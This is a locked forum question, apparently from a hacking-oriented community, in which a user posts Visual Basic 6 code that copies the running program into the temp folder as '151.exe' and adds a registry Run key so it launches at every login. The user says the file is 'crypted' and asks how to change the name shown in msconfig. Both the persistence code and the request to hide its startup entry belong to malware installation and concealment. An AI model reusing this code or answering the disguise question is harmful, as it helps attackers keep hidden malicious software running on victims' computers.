Jump to content
YOUR-AD-HERE
HOSTING
TOOLS
992Proxy
  • 0

Locked startup problem


MasterVb6

Question

Hello,

 

my code

sub start

Dim INSTPATH As String

INSTPATH = Environ("temp")

FileCopy App.Path & "\" & App.EXEName & ".exe", INSTPATH & "\151.exe"

 

'Registry

Dim Wsh

Set Wsh = CreateObject("WScript.shell")

Wsh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, INSTPATH & "\151" & ".exe", "REG_SZ"

end sub

 

when i start my crypted file name is always Product name in msconfig.

how to change name that goes into msconfig

Link to comment
Share on other sites

2 answers to this question

Recommended Posts

Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.